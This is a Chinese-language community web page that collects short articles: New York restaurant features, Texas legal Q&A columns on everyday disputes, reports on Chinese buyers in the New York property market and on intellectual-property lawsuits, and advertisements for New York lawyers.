1976年,一位日本料理师抱着将正宗、传统的寿司料理带给曼哈顿人的想法,在中城开了这家店——“初花”,到现在已近四十年,长久以来“初花”的理念不变,不断的把正宗、传统和美味的寿司奉献给纽约客。

 

2018-11-25 / by / in
【 纽约餐馆】50年老字号:元祖豆腐煲

豆腐煲、石锅拌饭是中国人最熟悉的韩餐料理,遍布大纽约的每个韩餐厅都可以吃到。但是当我们享用这些身边美味的时候,可能并不知道是谁第一个将这些美味带到美国,这背后又有怎样的渊源?让我们一起倾听“元祖豆腐煲”(Mr.soon Tofu)老板李仁世先生讲述当年的故事。

2018-11-25 / by / in
【纽约餐馆】Gammeeok 甘味屋

在韩国城这个古色古香而又可爱的地方停下来,尝尝他们的招牌美食。从泡菜到鸡肉,你一定会发现一些全队人都会喜欢的东西。

2018-11-25 / by / in
【纽约餐馆】纽约又〝添好运〞香港米其林餐厅来了

纽约食客Mileaf夫妇:〝我从没吃过这么好吃的叉烧包,为了叉烧包,我会回来的。我超爱鸡爪的,很好吃。跟我在香港吃的有点不一样,但很棒。〞


添好运镇店〝四大天王〞——叉烧包、萝卜糕、马拉糕和黄沙猪润肠粉,独缺猪润肠粉,没有出现在餐单上。

添好运创办人麦桂培:〝(美国的)猪润不行,质量不好。但是像叉烧包,比如面粉不够好,绞尽脑汁也要想办法做,因为主力招牌嘛。〞

2018-11-25 / by / in
车库拍卖是否要交营业税﹖

问﹕最近我家做了一次车库拍卖,赚了几百块钱。有人告诉我我必须交营业税。这是真的吗﹖

答﹕如果你偶然在车库拍卖一次,这不算商业,不用交营业税。 一年拍卖不超过两次,是没有营业税 的。但是你若经常做车库拍卖,你就是做生意,必须报税。

问﹕我和先生拥有一幢房子,是在我们结婚后买的。他的前妻留给他一个女儿,他说要写一份遗嘱,把房子交给女儿。他能够这样做吗﹖ 他的女儿能够逼我把房子卖掉吗﹖

答﹕你的先生有权把他的财产留给任何他选择的人。实际上,如果他不写遗嘱,他拥有的一半房产会自动归于他的女儿。但是他的女儿没有权力逼你卖房子,更没有权力把你赶出去。他过世之后,即使你只拥有一半的房产,你也可以继续住在那里,爱住多久都行。

问﹕去年11月我的银行账户收到一张支票,我以为是我最后的一份薪水单。今天我的账号又收到一份同样的支票。我给公司发了消息,可是公司没有给我回音。如果我的雇主发现这个错误,我需要把钱退还给他们吗﹖我有没有权利一点一点地慢慢还呢﹖

答﹕你怎么想呢﹖当然要还钱啊。人们没有权利保留不属于自己的东西。如果你的雇主要求你还钱,你就必须还。你还的时候要像你收到时的样子,一次退还你收到的整数。
你似乎明白你不能留下这笔钱。照我看,你不应该等他来要钱。你知道它不属于你,你就应该把钱还给他。

问﹕如果我担心我的律师不能胜任他的工作,我应该怎么办﹖我不能和他沟通,无法得知我的案子究竟是什么情形。

答﹕最好的地方去着手调查大概是德州律师工会。工会的条例很注重专业律师的行为,惩罚不守职业道德的律师。 写一份申诉状或寻找资讯,可到网上去。网址﹕ www.texasbar.com,或打电话﹕1-800-932-1900。

文章來源:大紀元

 

2018-11-24 / by / in , ,
德州日常生活法律问答

问:我从一家商店的收银机得到一张印有我的信用卡号码的收据。很危险啊,我立刻就把它毁了。为什么允许商店这样做呢?
答:商店这样做是违法的。按照2006年12月生效的新法,收银机的收据必须截掉你的号码,最多只允许有最后的5个数字显示在上面。法律同时禁止商贩将废止日期保留在收据上。盗取身份是一个很严重的问题,每个人都应该采取步骤防止它。法律不允许重要的讯息公众化,以便保护你的身份被盗。下次再有这种事情发生,让商店知道你期望它遵从法律。

问:我和我以前的女友合买一所房子,她现在住在那里。我怎样才能把自己的名字从房屋贷款的账单上拿掉?
答:把你的名字从房屋贷款的账单上拿掉的唯一的方法是请她用她自己的名字重新办理房屋贷款,或找贷款公司请它同意将你的名字拿掉。事实上,重新办理贷款是你的唯一选择。

问:可否请你告诉我几个电话号码,可以帮助我解决和飓风有关的法律问题?谢谢你。
答:休斯顿大学法律中心有一个飓风协助计划(The Hurricane Assistance Program),可以协助任何与卡崔娜或丽塔飓风有关的法律问题。你可以打电话到它的办公室: 877-839-8422。

问:我是一家小公司的唯一股票持有人和董事长。到小额法院去申请索赔,我的公司需要一位律师吗?
答:到小额法院去索赔,你不需要律师。通常来说, 只有律师才可以代表公司到法院去。但是在小额法院,个人可以代替律师。如果你是某个公司授权的代表,你可以在小额法院代表那个公司。

问:我快要被一名讨债人逼疯了。我承认我欠这笔钱,但是我确实没有钱还债。有任何方法停止这个侵犯吗?
答:首先,联邦法律规定讨债人不能从事针对你设计的侵犯行为。假如台债人继续侵犯你,他可能触犯联邦法。
实际上,你可能有个比较简单的方法停止他的讨债行为。按照联邦法,如果你寄给讨债人一封信,坚持他停止骚扰你,他是必须照办的。法律只允许他给你一封信,说明他将要采取的步骤。但是我必须指明,停止他的骚扰并不能防止一场讨债的官司。如果你要避免一场讨债的官司,最好的方法是拟定一个你可以做到的还钱计划,把钱还清。

问:我的汽车最近被收回了。我从来没有被告知他们可以把车拿回去,现在他们要我把所有的借贷款项完全付清。这样合法吗?难道他们不应该预先告诉我吗?
答:当车子收回去的时候是不会给你通知的。事实上,通知某个人车子要收回只会使事情更难办,车子也许根本收不回来。
基本上,如果你的车子是借款购买的,债主可以将你的车收回后卖给别人,用这笔钱取代你的债务。他们可以使用任何方法取走你的车,只要不构成“破坏和平“ 就行。最常用的收回手段是在半夜里把车子从停车道或街道上取走。
在多数情况下,车子取回后债主有权加快还钱的速度,可能要求将贷款全数付清。如果你不付清贷款,或者你付的钱不符合债主的要求,你的车子就会被转卖。卖出的价钱就拿来填补你的欠款。如果比欠款多,多余的钱会交给你。如果卖车的钱不够还你的债,你必须负责补全不够的数额。◇

文章來源:大紀元

2018-11-24 / by / in , , ,
修车技工宣告破产 怎样拿回我们的钱?

问:我们找过一位技工替我们修车。现在我们发现他对我们扯谎,根本没有动过这部车。我们一威胁要告他,他就立刻申报了商业破产。这是什么意思?我们要等多久才能到小额法庭去告他,把钱拿回来?
答:首先,你不能到小额法庭去控告他。一旦申报破产,所有的债务都必须到破产法庭去解决。你得到破产法庭去交控诉状,然后按照一般的债务来处理。实际上,申报破产的意思是,你可能什么钱都拿不回来。当一个人申报了商业破产, 他就放弃了 “没有豁免权”的财产,也就从大部分的债务中解脱了 。 也就是说,这名技工必须放弃他的债权人打赢官司之后能够拿走的东西。在德州,一个债权人可以拿走他的现有工资、家园、合格的退休计划、以及大部分的私人产业。如果还有剩下的财产,例如银行账号或出租产业,债权人必须交还给破产法庭,由破产法庭分配给债权人。

根据你所说,这名技工可能拥有非常少的“没有豁免权”的财产。也就是说,他的债权人可以得到的财产很少,甚至根本没有。但这并不影响他偿还他的债务。即使他没有“没有豁免权”的财产, 他的大部分没有解决的债务,包括欠你的钱,都会按照百分比退还。如果有任何钱留给债主们,你会得到你的那一份。

文章來源:大紀元

2018-11-24 / by / in , , ,
钉子穿破车胎建筑商可能要赔钱

问:我的隔壁建了一所新房子。最近我的汽车两次被街上的钉子把轮胎扎坏,其中一次是在我向建筑商抱怨之后发生的。我要求建筑商为他的钉子损坏我的车胎付修理费,他拒绝了,他说他不必为他的工程包商做的每件事负责。他说的对吗?这条街上到处都是钉子。

答:我认为他是对的,但是他的说法并没有回答他是否需要为你的车胎负责。一位建筑商并不需要为他的工程包商做的任何事负责。如果一根钉子无意间被工头遗忘在街上,建筑商是没有责任的。事实上,即使工程包商也可能没有责任。要他们为钉子引发的伤害负责,这个人必须犯有(疏忽)罪。疏忽的意思是没有采取行动防止伤害的发生。

例如工程包商在街道中心掉落一个盒子,留下一大堆钉子在街上,某人开车辗过钉子使车胎漏了气,那么工程包商可能要负责任。我认为掉落钉子却没有适当的清理就构成疏忽。如果建筑商知道有钉子在路上却没有清理钉子,或没有叫包商清理,那么建筑商也可能要负责任。你既然已经告诉了建筑商有钉子的事情,他就有法律上的责任清除钉子。假设他什么也不做,我想他就必须赔偿你的车胎。

问:你说按照德州有关消费者的法律,我如果证明这个人明知故犯,我可以得到超过损失3倍的惩罚性赔偿。那是在我的赔偿金之外另加的赔偿吗?

答:按照德州交易欺骗行为法,一位消费者有权得到经济赔偿。如果这个人明知故犯,法律允许消费人得到最高3倍的经济损失的赔偿金。

例如,假定一位修车匠知道车子没有修好,却告诉你车子修好了。你的损失就是修好车子的价格,假定是500元。如果你告他触犯商业欺骗法案,你可以拿回500元作为经济损失。由于修车匠明知故犯,你可能被判得回赔偿金的2倍,就是总数为1,500元。换句话说,赔偿金中的惩罚部分是你经济损失的2倍。

问:2006年10月间,我拿到一份婚礼招待会的报价单。上周我去交订金,报价员却告诉我价钱改变了。我有一份她的报价单。这张单子有法律上的效力吗?

答:这是一个有趣的问题。按常规来说,报价单的价格是有效力的,想要改变可能会触犯德州的交易欺骗行为法。

问题是,这份报价单的有效期限有多长?我想你会同意,如果你两年后拿着那张报价单去找她,她是不会履行这个价格的。我认为婚礼招待会的报价单,4个月太长。多数人会在几天或几个星期之内做决定。我认为要一个人在4个月后还遵守这份报价单,不切实际。除非她告诉你她会保留4个月,否则他们不受那个价钱的限制。

文章來源:大紀元

2018-11-24 / by / in , , ,
手写遗嘱在德州有法律效力

问:我有一所小房产。我正在考虑由我自己写一份遗嘱。一份手写的遗嘱有法律上的效力吗?需要有证人或者公证吗?

答:手写的遗嘱,叫做亲笔遗嘱(holographic will),在德州具有法律上的效力。基本上,这种遗嘱必须完全由你自己亲笔写,不能够打字或打印。和其他的遗嘱不同,亲笔遗嘱不需要证人使它合法。在德州,没有要遗嘱公证的规定。不过大部分的遗嘱是经过公证的,因为这样可以在进行遗嘱认证的法律程序时方便一些。 虽然一份亲笔遗嘱简单合法,我认为通常来说,这不是一个好主意。一点错误就可以使你的亲属花费相当多的时间和金钱。许多律师会索要相当合理的价格替你准备一份简单的遗嘱。据我所知,花钱找一个律师帮你写一份遗嘱是很值得的。

文章來源:大紀元

2018-11-24 / by / in
谁能得到孩子的抚养权

问:如果父母其中的一个死了,法院是怎样决定孩子归谁抚养呢?任何亲属都可以要求抚养权吗? 如果父母没有经过正式的婚姻手续,有关系吗?
答:按照德州的法律,父母之中有一个死了,一般是将抚养权交给活着的另一个父或母,不管他们结了婚没有。只有发现父或母不适合接受抚养权,法院才会将孩子判给另一个亲属,例如祖父母、姨母或叔叔。法院会按照对孩子最有利的方式来判决。

问:我听说,如果我的前夫不付子女的抚养费,他可能失去工作。这是真的吗?
答:是的。一个人如果不付法院命令的子女抚养费可能失去德州政府发出的任何执照,包括驾驶执照。事实上,他或她甚至会坐牢。

问:我的前夫没有按照规定支付儿女抚养金,并且很少看望子女。我可以不要他的同意,把孩子的姓换成我的吗?
答:你不需要父亲的同意更改姓名,但是你要通知他。法院会将他的意见列入考虑,是否要允许你更改姓名。 我必须指出,更改姓名不会影响父亲的权利和义务。你需要他的同意或法庭听证才能断绝他的权利和义务。

文章来源:大纪元

2018-11-24 / by / in
搬离公寓 房东竟然要押金

问:我最近搬离了公寓。房东寄给我一封信,告诉我他要保留我的300元安全押金,因为地毯受到损坏。他又说我们欠他250元,如果我们不付钱,他要到小额法庭去控告我们。如果他保留我的安全押金,我怎么可能欠多余的钱呢?
答:安全押金是房东在签租约时为了保障对公寓的任何损坏或不付房租时所要求的押金。通常房东会要求一份和一个月的租金同等的押金,也许多些或少些。举例来说,一个信誉良好的房客可能被要求付较少的押金,一个声名狼藉的房客可能要付较多的押金。

在房客迁出公寓,还欠房东租金的情况下,安全押金将用来填补欠交的租金。如果公寓需要修补或租金没有付全,就投入押金。然而押金并不表示责任就止于此。如果房客欠房东的钱多于押金,房东可以将押金抵消欠下的部分,然后向房客索取不够的数目。假如你不付,房东有和其他债主同样的权利,甚至打官司要你还钱。
最后,我应该指出法律要求房东在房客迁离公寓,留下新地址之前的30天内提供房客一张公寓的毁损单。没有毁损单可能会丧失要求赔偿的权利。

文章来源:大纪元

2018-11-24 / by / in
买了柠檬车怎么办

问:大约半年前我买了一部新车。除了麻烦之外,一点好处都没有。我已经把车送进修车厂6次了。德州有关于买到坏车要求补偿的法律(柠檬法案)吗?我怎样使用它?
答:是的,德州确实有一项坏车赔偿法,适用于任何一辆有严重缺陷的新车。按照目前州法,严重缺陷的定义是一项在保单的期间经过几次合理的试验,依旧没有修理好的缺陷。几次合理的试验定义为在一年之内或在1万2千英里以内发生两次故障,在修理两次以后的一年间或1万2千英里以后,又发生两次故障。换句话说,4次的试验中,至少两次的故障必须发生在购买后的第一年或1 万2千英里以内。如果故障是严重的安全缺陷,只要两次试验,其中至少一项发生在购买后的第一年或1 万2千英里之内就够了。
如果你的车发生同样的故障,你可能符合资格建立一个合法的“柠檬”。使用柠檬法案,你必须寄申诉信给汽车制造商。如果他们不加处理,你应该考虑填写一份正式的柠檬法诉状。如果你打赢官司,你可以得到退款或者一部新车。想知道柠檬法案的详情,或申诉状的表格,请电1-800-622-8682。

文章来源:大纪元

2018-11-24 / by / in , , ,
强制搬迁手续复杂

问:我的房租迟交了好几天。房东告诉我,如果我明天还不交钱,他会把我赶出去。在我的财物被扔到街上以前,我有多少时间得到通知呢? 

答:你的财物永远也不会 “被扔到街上去”。强制搬迁是一个复杂的程序。但是你在被驱逐以前会有足够的时间搬家。
一个强制搬迁的官司 (又称为 “强制扣押”)是一个房东试图收回公寓的程序。首先是一封搬迁的通知。这是一封由房东写的信,要求你搬出去。要记得,这只是房东要求你搬迁而已。你的房东不可以自己采取行动,例如把你的财物扔到街上去。   如果你没有在通知的日期搬出,你的房东将会采取第二个步骤:到审判法院去要求强制你搬迁。强制搬迁的诉讼必须在公寓所在地的审判法院办理。

诉状受理后,一名警官或其他的程序员会给你一份正式的传唤书和一份诉状的副本。传唤书告诉你答辩官司的时间和地点。开庭的时间必须在你收到传唤之后的第 6天到第10天。仔细阅读传唤书,弄清楚你必须到庭的时间和地点。

其次,举行一个决定将公寓交给谁的审判。假如强制搬迁的诉讼是因为你没有付房租,或是因为你在租约满期后还不搬走,你的房东可以委托一名授权的代理人出庭,例如一名公寓的经理。在法庭上你有机会提出任何的辩护。例如你付过了房租,你提交房租被拒绝了,或你没有获得合理的搬家通知,你有告诉法官的机会。

如果你败诉后不在5天之内上诉,你必须搬走,否则法院将会命令把你的财物移出公寓。你如果不搬,你会失去你的所有。在迁移你的财物以前,一名警官必须在你的门口留下通知,告诉你一张“ 财物命令”已经发出,24小时后任何时间都可能执行。如果你不在那段时间里面迁出,警官可以带一名仓库人员一起回来,将你的所有从公寓搬到一间仓库,将公寓还给房东。一旦你的财物进了仓库,仓库的人就有扣押权,可以要求你支付迁移和保存的费用。你得付钱才能把你的财物拿回来。

这项复杂程序的重点很简单:你的房东不能够把你的财物扔到街上去,在采取任何行动以前你应该有足够的时间搬走。如果你不搬,你冒着失去一切的危险。

文章来源:大纪元

2018-11-24 / by / in , , ,
德州消费者申诉中心能够协助你

问:我听说休斯顿大学法律中心有一个机构协助消费者解决困扰。你能给我一些资讯吗?

答:大约6个月以前,休斯顿大学法律中心的消费法中心设立一个新机构,帮助消费者解决困难。德州消费者申诉中心使用法律学生和律师来协助消费者,不管是与汽车销售人还是与技师、建屋商、房东、或者讨债人发生争执,德州消费者申诉中心都可以帮忙。中心的服务免费,你可以上网和他们联络。网址:www.texasccc.com。

答:不能。联邦法律规定社会安全福利金是个例外。

问:我的房子隔壁是一所被遗弃的房子。两年以来我都在替这所房子割草和修剪藩篱,保持它的整洁。我发现这所房子已经被卖掉了。我有权利向售卖房子的人要求割草和修剪藩篱的补偿吗?

答:照我看,你的行动是自愿的,那所房子的主人没有法律上的责任要给你补偿。在一般情况下,法律不能强迫一个人为他没有要求的服务付钱。也许他给你一些好处,对你比较公平,但是我不认为你有任何法律上的权利向他要补偿。

文章來源:大紀元

2018-11-24 / by / in ,
一个人不付他的子女抚养费,就会失去驾驶执照,这是真的!

问:最近我的车子被一辆偷来的车给撞了。我在考虑对于车主我有什么权利。我确定车主有保险。

答:首先,我以前写过很多次,某人有保险并不代表他要负责任。保险是为了某个人对一件事在法律上必须加以赔偿而设立的。他有保险的事实并不改变这个规定。换句话说,车主不一定有责任。他有保险只会影响你怎样收钱,并不影响到责任的问题。


遭窃的车主通常对于被偷的车子发生车祸不负责任。要车主负责,你必须证明车主对于车子不予重视,所以车子被偷,发生车祸。事实上,很难想到一个人的车子被偷以后还要负责的例子。

从法律上讲,你并不是没有希望。你可以控告驾驶这辆车的偷车贼。我不知道你可以从偷车贼那里拿到多少钱,但是你确实有权利控告他。如果偷车贼不小心引起车祸,他要对你和你的车造成的伤害负责。如果伤害少于 $10,000,你可以到小额法庭去控告他。

问:如果一个人不付他的子女抚养费,就会失去驾驶执照,是真的吗?

答:是的,根据法律,如果一个人不按命令支付子女抚养费,法院有权中止那个人的任何专业执照,包括驾驶执照。事实上,法院甚至可以将他丢进监狱。

问:几年前,我的前夫答应我们的女儿他会付一半她上大学的学费。现在她已经高中毕业,他却拒绝付钱。这是一个口头合约吗?可以强制执行吗?她能到小额法庭去告他吗?

答:就多数案件来说,口头承诺就如书面承诺一样可以强制执行。但是这件案子也许由于别的原因,可能无法强制执行。

根据一条法律上叫做“考虑”的原则,即使是书面上的承诺,除非它要求得到回报,否则是无法强制执行的。一个答应送礼的承诺通常不能当做合约来强迫执行。

例如,如果他说, “假如你用功读书,找个工作,以 B的平均成绩毕业,我会替你交一半大学的学费,”如果她按照他所要求的做了,这个承诺就有约束力。他要求某事做为承诺的回报,那就是“考虑”。另一方面,如果他说, “因为我爱你,我会替你交一半的大学学费”,那么这个承诺只是一个送礼的承诺,不能强制执行。结论是如果你的前夫只是将替你女儿付学费当做一个礼物,这个承诺恐怕不能强制执行。

你也许要和一位家庭法的律师商讨如何强制执行承诺的问题,同时更改你的抚养费协议,将大学学费加进去。

问:一名雇员在被炒鱿鱼以前有多少得到预先通知的权利?今早我去上工,被解雇了。难道我不应该在两星期以前得到通知吗?这好像不公平啊。

答:就法律来说,你没有权利得到任何事前的通知。除非你有雇用合约或公会合同另有条款,否则 你可以不得到任何通知就遭到解雇。你的雇主也许对你不公平,但是就法律来说,雇主有权这样做。

问:我们的媳妇能够要求一部分我们儿子最近继承的土地吗?

答:如果土地的继承人只是你的儿子,那么就是他的个人财产,他的妻子没有权利得到它。

2018-11-22 / by / in , , , , ,
房贷保险政策收紧 买家卖家如何应对

联邦政府在近日宣布要控制家庭债务,将在两个月内开始收紧房贷保险政策。业界人士认为,希望进入市场的买家和卖家,在未来60天内应该考虑怎样应对才不致于受到冲击。下面是加国一家房产列表求售网站PropertySold.ca的建议:

纽约房屋买卖

卖家:由于3月18日后银行计算贷款申请人的还贷期限缩短和贷款上限降低,买家的购买力将被削弱,买家相当将会减少。对卖家而言,最好是趁买家较多的时候抢先将房产尽快列表上市,并且报上的价格要现实。可能卖家们都意识到要赶紧上市,这样上市的房产可能会大量增加,如果价格不适就难以成交。
纽约房屋买卖
买家:对于买家来说,掌握买房时机总是比较难,不过可以参考一些事实:房价每年以5~10%的幅度在上涨,而买家有可能希望在新贷款保险条例实施前购买房子,那抢购可能会把房价带的更高。所以,一般经纪人常说“要买趁现在,要么赶不上”。但是35年的最长还贷期缩短到30年,按理推买家可承担住房的能力减弱了,这是否会带跌房价?那现在就不得而知了。

文章来源:大纪元

2018-11-22 / by / in ,
有钱汇不出来 大陆人纽约买房有多难

自从十月份北京政府推出房产限购政策后,中国人的钱越来越无处可去,有人自然会瞄准美国乃至纽约房地产市场,纽约地产界人士也在热切盼望着中国人的钱。那么纽约是不是将要迎来新一轮的中国买房潮呢?

不一定。在近日的地区房地产峰会上,专家们得出的结论是:中国有钱人想要畅通无阻地投向纽约却是越来越难——资金流转受到中国和美国两个政府的严管。

11月1日,纽约房地产业内人士在AREAA峰会讨论中国投资问题。

纽约房地产业内人士在AREAA峰会讨论中国投资问题。(施萍/大纪元)

前阵子,中国各地方政府趁着人们放长假,纷纷推出房地产限购政策,比如没有当地居民证的不能买房,或者抬高首付额等。《华尔街日报》称,这是北京政府为抑制推动房价飙涨的购房热潮所采取的行动。中国的经济放缓导致过多的资金追逐,过少的投资机会,从而形成新的购房热。

“目前中国家庭存款约有80兆人民币,相当于11.4兆美元。”《财经时报》中国问题专家孙昱在  举办的“美国亚裔地产协会”(Asian Real Estate Assiation of America,简称AREAA)的曼哈顿峰会上说。“而美国家庭去年年底的存款总额为8.9兆美元。也就是说,中国家庭比美国有更多的钱用来购房。”

纽约房屋买卖

有人问孙昱,是不是对中国人到美国房地产市场投资的前景抱有乐观态度?孙昱表示:“很难说。”原因是,中国政府目前缩紧了对外贸易和资金外流的控制,“而这种严控在短时间内不会松动。”

与会的另一位投资移民(EB-5)专家、Mona Sha & Association公司的曾慧(音译,Hui Zeng)旁证说,虽然中国对个人往境外汇款的5万美元/人的政策没有变,“但是在政策执行上变化了。比如,原来投资移民需要的50万美元,投资方只要找10个亲朋好友把钱汇到一个美国账号就行了。现在只要有3个人给一个账号汇款,这个账号就被封了。”所以她的客户们只能请人在美国或者香港开多个银行账号收款。

纽约房屋买卖

除了北京政府的控制,美国政府也取消了原来“空壳公司”购房的许可。

今年7月,美国“金融犯罪执法网络”(the Financial Crimes Enforcement Network,简称FinCEN)宣布,在纽约、德州、佛罗里达和加州等地区实行“地理目标命令”(Geographic Targeting Orders),即:凡是用全部现金买房的人需要经过额外的审查。如果通过有限公司(LLC)买房的,必须亮出公司背后的所有董事会成员。

商业贷款

房地产律师傅华(Bruce Feffer)解释说:“原来,你可以只说公司的所有人、执行董事是谁,现在政府要知道你所有的成员名单。也就是说,过去那种用空壳公司隐藏买房人的做法已经行不通了。”

在场的路透社财经记者蒂尔茨(Elizabeth Dilts)举例说:“在曼哈顿买房,只要是300万美元以上的;或者纽约市其它区150万美元以上的都受这个限制;贷款买房不在这个规定之内。”她说,这是个试行的政策。

富国银行的房贷咨询师拉兹帕尔(Raj Rajpal)透露,现在银行内部也加紧了反洗钱措施,对外国资金的落地审查很严,“但是不同的银行也有不同的做法。”◇

文章来源:大纪元

2018-11-15 / by / in ,
轻忽知识产权 一生财产恐不保

轻忽知识产权 一生财产恐不保

盗版在中国大陆司空见惯,但在美国,如果被发现盗版侵权,你几十年、甚至一辈子的财产,都要赔偿给被侵权的人,因为这是他人的知识产权

曾有过这样一个案子:一天,东湾一位华人客户急忙的找律师,说收到联邦政府一张通知,要拿走他价值80万的房子。客户知道美国是个讲法律的国家,不会胡来,但怎么突然要没收他的房子呢?

律师问他:你有没有收到商标或者专利的案子,但没有去应诉?这个客户一想,确有此事。但后果怎么如此严重呢?

不要小看对方的警告信

“美国的法律是有牙齿的” 律师说,他在美国从事知识产权律师已十几年。接到形形色色这类案件。他说,这不是在中国大陆。在中国,你赢了官司也没用。因为侵权者一个月内可以把公司开关几次,有了判决书也往往无法执行。在美国,有了判决书,就可以申请执行,有财产就会执行。

如果你发现自己的知识产权被侵权,只要你有专利,请律师给对方去信,对方一般都会被吓住。即使你的专利尚未批准,还在等待批复的过程中,这也会给对方构成一种威胁。

“相反,如果收到这种信,你要赶紧请一个懂得专利的律师,把对方的专利拿出来,与你的产品做对比,看是不是在对方专利的保护范围。如果有65%以上的可能性会输,就要赶紧撤,不要硬顶。”律师说。

如果计算损失费?

专利损失的计算基本有两种方法,一是已经投入生产的专利,一是尚未投入生产的专利。“没有生产的专利,你赚的钱就是专利所有人损失的。这是美国法官创造的计算方法。”律师解释。

如果专利已经能够投入生产,以制造杯子为例。专利所有人本来一年生产7个,一年正常增长2个,现在每年只生产了5个,你要赔我几个?4个杯子的钱。对方来信警告你侵权,你还不停止,就是明知故犯,就会产生3倍的赔偿。如果对方是穷光蛋,赢了也没用,但只要发现你有财产,就可能随时执行。

另外,律师费也是专利战的一笔沉重的开支。律师介绍,美国的专利侵权案,平均律师费是300万美元。一场大官司的律师费甚至上千万美元,就像苹果公司和三星的侵权官司。一般1小时要收费500美元。侵权案律师团队组成人员,有负责技术的,有负责会计的,有专门诉讼的等等,“钱很快就烧掉了。”

侵权判决10年有效

从这些年的经验看,律师认为,华人侵犯他人知识产权的情况比较多。尤其是一些中国小商家,看到别人有什么好产品,马上到东湾的工厂,开模做出和别人一样的东西,跟美国的正品直接竞争。

如果被发现,对方一递交诉讼,他就跑掉了,也不上法庭应诉。然后法庭缺席判决。对方只要提出损失的证据,即使是几百、上千万美元,因为你不应诉,法官也只好支持对方的损失请求。这个判决书有效时间是10年。

这10年中,只要你被别人发现某处有财产,就会被强制执行。因此,有的华人把财产转到兄弟姐妹的名下,个人没有财产。“这些事,我们经常遇到。几乎每个城市都有这样的事情”律师说。

建立知识产权意识 保护自身

相反,华人被别人侵权的时候,往往比较软弱,不愿意花钱请律师,自己不懂法律,只好自认吃亏;或者被人家给一笔很小的费用补偿,就放弃追溯。

知识产权包括专利、商标、版权和商业秘密,都很容易成为被侵权的对象。祝良律师建议华人商家:在美国创业,要有足够的产权意识。有自己的知识产权、商标,一定要及时注册;同时,也要注意不侵犯别人的知识产权,以免辛苦一生,最后落个给别人打工赚钱的结局。◇

文章来源:大纪元(有删减)

 

2018-11-15 / by / in ,
在美国摊上刑事案后如何应对?

纽约刑事律师/刑事律师 纽约/纽约 刑事律师 推荐/Flushing律師/new York律师

我们每天都在和各种各样的人打交道,避免不了磕磕碰碰,和各种有意无意的误会,有时候甚至会引发冲突甚至报警。一旦冲突发生,你应该怎么保护自己?一旦你被警察带走你又该如何?华埠资深的刑事律师来就这些问题给大家一些实在的建议。

冲突发生时应注意什么?

一般情况下我们碰到任何问题都建议保持冷静,言语行为文明礼貌以避免冲突。但一旦冲突发生,我们就要保存证据以保护自己。法庭虽然考虑口头表白,更相信实物证据。所以要尽量保留实物证据,证据包括:照片、视频、录像资料、现场证人、医院证明等。

申请移民

被警察带走后如何应对?

在美国,再小的罪都可能给你留下犯罪记录,对移民入籍、办理各种福利等造成不利的影响。一旦遇上刑事纠纷,记住不要讲任何不利自己的话,宁可沉默,等待律师出面。你讲的每一句话都可能在法庭上被引用,造成对你不利的后果。

一旦你被警察带走,不要害怕,记住你有权利给家人、律师打电话,注意不要在电话里谈论案情,也不要跟任何无关的人讨论案情。通知家人后,如果你有家人或私人律师保释,则你获得保释的可能性更大。

薛律师过往刑事案件简述

经验丰富的薛律师在过去10年的律师生涯中,曾经帮助过很多人减轻或取消了刑事指控,保障了他们的安全和利益。

●皇后区一户中国人家,被警方查出其租住的房子厨房天花板上藏了多支机枪,被控私藏枪支罪,更有邻居作证:某天看见他站在桌子上从厨房天花板上拿枪。这可是重罪,其人求助于薛律师。薛律师证实,当事人被控拿枪当天,其家中有6个人在打麻将,所以根本不可能“站在桌子上取枪”。因为此案证人的证词不成立,当事人获无罪释放。

●华埠一名中餐馆职员,某天心情苦闷拿刀自杀,旁人来劝解时被刀误伤,该职员被逮捕并被控“谋杀未遂”。薛律师证实其人当时精神恍惚不清醒,不能算谋杀,最后控诉被取消。

●法拉盛一名装修工人,与人口角并遭别人殴打,愤怒之中拿手中锋利的泥刀挥过去,致对方颈部重伤,被控“谋杀未遂”。薛律师则坚持其人系“防卫过当”,最后薛律师胜诉,其人仅判1年监禁。

衡成律师事务所

资深刑事案件专家薛斌

刑事诉讼的胜败往往取决于律师的专业程度。对每件案子,薛律师都会花大量时间认真调查案情,弄清每一个细节,多方搜集证据,从多个角度证实当事人的清白。对法律条文的深入了解,和对细节的把握,以及顽强的心理素质,让薛律师在处理众多的刑事案件时,为当事人争取了最大的权益,极大减轻甚至撤销了所受的指控,保障了当事人的安全。

薛律师系美国法学博士,执纽约、新泽西和联邦执照。 精办劳工、离婚、商业、刑事案件,精通国、台、福州、粤语。有危险,记得马上找薛律师救你!

文章来源:大纪元

2018-11-12 / by / in , , , ,
新移民必须知道的家事法

移民/家事法/家庭律师/家庭暴力

新移民来到美国以后,要从语言、文化、生活上融入美国的社会,尤其是要知道这里的法律。很多华人对美国的家事法不甚了解,所以经常碰到一些不必要的麻烦,或者是遇到家事方面的问题不知道如何处理。本期《法律.移民》专刊请家事和移民法律师李仁璟女士(Inkyung Lee)为华人介绍美国家事法方面的知识,以及华人应当注意的问题。李律师持纽约和新州执照,在家事法和移民法领域有多年丰富经验。

●问:和公民配偶离婚后,如何申请永久绿卡?

李律师:有些华人和美国公民结婚,拿到了条件绿卡,但由于文化等各种原因,婚后生活不是很和谐,婚姻出现裂痕。更有甚者,因为对方觉得自己为华人获得了绿卡,所以要求华人在家庭里无条件服侍自己,控制家里的财权,华人迫于无奈只好选择离婚。对于有这种遭遇的华人,只要证明自己的婚姻是真实的,不是为了获得绿卡而结婚,就可以自行提交I-751申请永久绿卡(注1)。

在提交I-751时,首先需要证明自己的婚姻是真实的,可以提交共同生活的证据来证明,可以提交的证据因人而异,但总体上包括租约、购房交易记录(DEED)、电气账单、电话账单、医疗保险、报税记录等文件。

申请移民

如果离婚原因是家庭暴力(包括受到语言上、身体上和精神上的虐待),要证明受到了美国公民配偶的虐待来申请豁免,很多证据都可以使用,比如可以提供住院证明、他人的证词或语言暴力的录音,曾经报警的话可以找到警察报告,如果曾经到社区机构咨询的话,也可以获得社区咨询记录或者请社区的人作证。

除了提交I-751并申请豁免以外,受到美国公民配偶虐待的华人也可根据《防止侵害妇女暴力行为法》(VAWA)提交I-360(注2)申请绿卡,同样,也是要证明婚姻真实而且受到虐待。VAWA对男性和女性都适用,所以不管华人是男方还是女方,受到虐待都可以适用这一法律。

●问:离婚后在财产分割上,最大的问题是什么?

李律师:华人在婚后全家移民到美国,如果婚姻不幸结束,就会出现第三国(大陆、台湾等地)财产的处置问题。离婚财产分割的第一步,就是要找到资产,然后需要区分哪些是共有财产,哪些是个人财产,通常来说,结婚以后的财产是共有财产,但也有例外,比如第三方馈赠(来自父母和朋友的礼物,包括房产)、彩票中奖、受伤获得的赔偿都属于个人财产。

